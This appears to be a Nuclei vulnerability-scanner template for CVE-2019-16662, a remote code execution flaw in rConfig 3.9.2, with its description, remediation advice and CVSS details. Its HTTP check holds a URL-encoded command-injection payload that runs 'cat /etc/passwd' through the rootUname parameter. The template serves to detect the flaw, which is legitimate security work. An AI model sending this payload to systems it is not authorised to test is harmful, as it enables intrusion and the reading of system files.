45 lines
1.9 KiB
YAML
45 lines
1.9 KiB
YAML
id: CVE-2019-16662
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info:
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name: rConfig 3.9.2 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
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remediation: |
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Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
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reference:
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- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
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- https://nvd.nist.gov/vuln/detail/CVE-2019-16662
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- https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
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- http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
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- http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-16662
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cwe-id: CWE-78
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epss-score: 0.97561
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epss-percentile: 0.99998
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cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: rconfig
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product: rconfig
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tags: intrusive,rconfig,packetstorm,cve,cve2019,rce
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http:
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- method: GET
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path:
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- "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100a95b3020692b1e1d49e30401dbd7c0e02e7f7356df57dd97dd5dc85475f5bc82022100e21cd820614a621cf851f9c81d644946bd34437affe65d2b286c6443990c544d:922c64590222798bb761d5b6d8e72950 |